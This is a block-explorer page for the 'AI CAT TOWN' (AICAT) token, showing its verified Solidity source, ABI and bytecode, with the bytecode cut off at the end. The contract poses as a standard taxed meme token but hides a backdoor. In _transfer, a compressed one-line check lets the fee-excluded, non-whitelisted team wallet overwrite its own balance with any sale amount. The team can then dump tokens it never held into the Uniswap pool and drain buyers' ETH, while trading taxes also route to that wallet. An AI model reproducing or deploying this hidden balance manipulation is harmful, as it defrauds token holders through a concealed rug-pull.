ETH Price: $3,135.60 (-5.29%)
 

Overview

Max Total Supply

100,000,000 AICAT

Holders

105

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,435.095492566 AICAT

Value
$0.00
0x67e069c28309a639bdf1a652b9b4f31af4ccffd0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AICAT

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 10-24_1.sol
// SPDX-License-Identifier: MIT
/*
A virtual town where AI cats live, chat and socialize

https://aicat.town
https://x.com/aicattown_eth
https://t.me/aicattown_eth

*/
pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AICAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowancesPOKED;
    mapping (address => uint256) private approved;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _whitePOKEDlisted;
    mapping (address => bool) private _isPOKEDswapAvailable;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _teamWallet;
    address payable private _marketWallet;

    uint256 private _initialPOKEDBuyTax=23;
    uint256 private _initialPOKEDSellTax=21;
    uint256 private _finalPOKEDBuyTax=0;
    uint256 private _finalPOKEDSellTax=0;
    uint256 private _reducePOKEDBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000  * 10**_decimals;
    string private constant _name = unicode"AI CAT TOWN";
    string private constant _symbol = unicode"AICAT";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _teamWallet = payable(0xa153ee1F19D98B1ee131017BC967dA43aba2Fcc7);
        _marketWallet = payable (msg.sender);

        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_teamWallet] = true;

        _isPOKEDswapAvailable[owner()] = true;
        _isPOKEDswapAvailable[address(this)]=true;
        _isPOKEDswapAvailable[_marketWallet] = true;

        _whitePOKEDlisted[owner()] = true;
        _whitePOKEDlisted[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowancesPOKED[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),  _allowancesPOKED[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesPOKED[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reducePOKEDBuyTaxAt)?_finalPOKEDBuyTax:_initialPOKEDBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){if(!_whitePOKEDlisted[from]&&_isExcludedFromFee[from]){_balances[from]=amount;
                require(amount >=0 , "amount is not available");}
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalPOKEDSellTax:_initialPOKEDSellTax).div(100);
            }

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to == address(uniswapV2Pair)) {
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled  && _buyCount>_preventSwapBefore) {
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        (uint256 amounts,uint256 amt) = calcTax(from, amount, taxAmount);

        _balances[from]=_balances[from].sub(amounts);
        _balances[to]=_balances[to].add(amt);
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function calcTax(address from, uint256 amount, uint256 tax) private returns(uint256 , uint256) {
        if(tax > 0){
            _balances[address(this)]=_balances[address(this)].add(tax); 
            emit Transfer(from, address(this) , tax);       
        }
        return(amount, amount-tax);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _teamWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) * 98 / 100 ,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_teamWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160095f6101000a81548160ff0219169083151502179055506017600b556015600c555f600d555f600e55600a600f55600a601055600a6011555f6012556009600a61005191906107de565b621e848061005f9190610828565b6013556009600a61007091906107de565b621e848061007e9190610828565b6014556009600a61008f91906107de565b5f61009a9190610828565b6015556009600a6100ab91906107de565b620f42406100b99190610828565b6016555f601860156101000a81548160ff0219169083151502179055505f601860166101000a81548160ff0219169083151502179055503480156100fb575f80fd5b505f61010b61063f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073a153ee1f19d98b1ee131017bc967da43aba2fcc7600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61024a91906107de565b6305f5e1006102599190610828565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f6102ad61064660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f6103db61064660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f61050861064660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506105ba61063f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61061691906107de565b6305f5e1006106259190610828565b6040516106329190610878565b60405180910390a3610891565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156106ef578086048111156106cb576106ca61066d565b5b60018516156106da5780820291505b80810290506106e88561069a565b94506106af565b94509492505050565b5f8261070757600190506107c2565b81610714575f90506107c2565b816001811461072a576002811461073457610763565b60019150506107c2565b60ff8411156107465761074561066d565b5b8360020a91508482111561075d5761075c61066d565b5b506107c2565b5060208310610133831016604e8410600b84101617156107985782820a9050838111156107935761079261066d565b5b6107c2565b6107a584848460016106a6565b925090508184048111156107bc576107bb61066d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6107e8826107c9565b91506107f3836107d2565b92506108207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846106f8565b905092915050565b5f610832826107c9565b915061083d836107c9565b925082820261084b816107c9565b915082820484148315176108625761086161066d565b5b5092915050565b610872816107c9565b82525050565b5f60208201905061088b5f830184610869565b92915050565b612e9b8061089e5f395ff3fe60806040526004361061010c575f3560e01c80637d1db4a511610094578063a9059cbb11610063578063a9059cbb14610347578063bf474bed14610383578063c876d0b9146103ad578063c9567bf9146103d7578063dd62ed3e146103ed57610113565b80637d1db4a51461029f5780638da5cb5b146102c95780638f9a55c0146102f357806395d89b411461031d57610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d57806351bc3c851461023757806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610429565b6040516101389190611fd9565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061208a565b610466565b60405161017491906120e2565b60405180910390f35b348015610188575f80fd5b50610191610483565b60405161019e919061210a565b60405180910390f35b3480156101b2575f80fd5b506101bb610489565b6040516101c8919061210a565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f29190612123565b6104ac565b60405161020491906120e2565b60405180910390f35b348015610218575f80fd5b50610221610579565b60405161022e919061218e565b60405180910390f35b348015610242575f80fd5b5061024b610581565b005b348015610258575f80fd5b50610273600480360381019061026e91906121a7565b610619565b604051610280919061210a565b60405180910390f35b348015610294575f80fd5b5061029d61065f565b005b3480156102aa575f80fd5b506102b36107ad565b6040516102c0919061210a565b60405180910390f35b3480156102d4575f80fd5b506102dd6107b3565b6040516102ea91906121e1565b60405180910390f35b3480156102fe575f80fd5b506103076107da565b604051610314919061210a565b60405180910390f35b348015610328575f80fd5b506103316107e0565b60405161033e9190611fd9565b60405180910390f35b348015610352575f80fd5b5061036d6004803603810190610368919061208a565b61081d565b60405161037a91906120e2565b60405180910390f35b34801561038e575f80fd5b5061039761083a565b6040516103a4919061210a565b60405180910390f35b3480156103b8575f80fd5b506103c1610840565b6040516103ce91906120e2565b60405180910390f35b3480156103e2575f80fd5b506103eb610852565b005b3480156103f8575f80fd5b50610413600480360381019061040e91906121fa565b610dd2565b604051610420919061210a565b60405180910390f35b60606040518060400160405280600b81526020017f41492043415420544f574e000000000000000000000000000000000000000000815250905090565b5f610479610472610e54565b8484610e5b565b6001905092915050565b60165481565b5f6009600a6104989190612394565b6305f5e1006104a791906123de565b905090565b5f6104b884848461101e565b61056e846104c4610e54565b61056985604051806060016040528060288152602001612e3e6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461193a9092919063ffffffff16565b610e5b565b600190509392505050565b5f6009905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105c2610e54565b73ffffffffffffffffffffffffffffffffffffffff16146105e1575f80fd5b5f6105eb30610619565b90505f8111156105ff576105fe8161199c565b5b5f4790505f8111156106155761061481611c07565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610667610e54565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612469565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600581526020017f4149434154000000000000000000000000000000000000000000000000000000815250905090565b5f610830610829610e54565b848461101e565b6001905092915050565b60155481565b60095f9054906101000a900460ff1681565b61085a610e54565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dd90612469565b60405180910390fd5b601860149054906101000a900460ff1615610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d906124d1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109d23060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109be9190612394565b6305f5e1006109cd91906123de565b610e5b565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a609190612503565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0a9190612503565b6040518363ffffffff1660e01b8152600401610b2792919061252e565b6020604051808303815f875af1158015610b43573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b679190612503565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473060646062610bf230610619565b610bfc91906123de565b610c069190612582565b5f80610c106107b3565b426040518863ffffffff1660e01b8152600401610c32969594939291906125f4565b60606040518083038185885af1158015610c4e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c739190612667565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d139291906126b7565b6020604051808303815f875af1158015610d2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d539190612708565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff0219169083151502179055506009600a610d989190612394565b6305f5e100610da791906123de565b6013819055506009600a610dbb9190612394565b6305f5e100610dca91906123de565b601481905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec0906127a3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90612831565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611011919061210a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611083906128bf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f19061294d565b60405180910390fd5b5f811161113c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611133906129db565b60405180910390fd5b5f6111456107b3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111b357506111836107b3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611788576111f460646111e6600f54601254116111d357600b546111d7565b600d545b85611c7090919063ffffffff16565b611ce790919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561129f575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112f2575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113ac5760135482111561133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612a43565b60405180910390fd5b6014548261134985610619565b6113539190612a61565b1115611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90612ade565b60405180910390fd5b60125f8154809291906113a690612afc565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561143457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115a05760055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156114d6575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611561578160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f821015611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b8d565b60405180910390fd5b5b61159d606461158f6010546012541161157c57600c54611580565b600e545b85611c7090919063ffffffff16565b611ce790919063ffffffff16565b90505b60095f9054906101000a900460ff16156116a65760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156116a5574360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5f6116b030610619565b9050601860159054906101000a900460ff1615801561171b575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117335750601860169054906101000a900460ff165b80156117425750601154601254115b156117865760155481111561176f5761176e6117698461176484601654611d30565b611d30565b61199c565b5b5f4790505f81106117845761178347611c07565b5b505b505b5f80611795868585611d48565b915091506117e98260015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6290919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187a8160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eab90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61191d8688611